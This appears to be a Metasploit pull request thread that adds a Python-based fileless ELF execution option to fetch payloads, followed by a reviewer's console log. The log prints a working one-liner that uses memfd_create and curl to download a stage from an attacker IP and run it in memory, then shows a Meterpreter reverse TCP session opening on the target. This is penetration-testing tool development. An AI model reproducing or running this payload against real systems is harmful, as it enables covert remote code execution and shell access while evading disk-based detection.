Adding option to run fileless ELF execution with Python

[msutovsky-r7]

With the report of failing FETCH_FILELESS in restricted/no-gui environment, there should be probably some alternative until the more reliable method is available. This PR adds the alternative option. The new method - FETCH_FILELESS_PYTHON creates anonymous handle using Python, copies payload into that handle and runs it. The logic/technique is similar to original FETCH_FILELESS, but the fetch payload creates its own handle.

[dledda-r7]

Looks good!

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler 
[*] Payload Handler Started as Job 1
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 
[*] Started reverse TCP handler on 172.22.127.229:4444 

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f
python3 -c 'import os;fd=os.memfd_create("",os.MFD_CLOEXEC);os.system(f"f=\"/proc/{os.getpid()}/fd/{fd}\";curl -so $f http://172.22.127.229:8080/7pbDadtrV4sBei_JjHB3PA;$f&")'
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.22.127.229:4444 -> 172.17.0.2:49522) at 2025-03-28 06:37:25 -0400

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Debian  (Linux 6.12.13-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

[dledda-r7]

Release Notes

This improves the fetch payloads by using python to achieve fileless execution of an ELF file using memfd_create.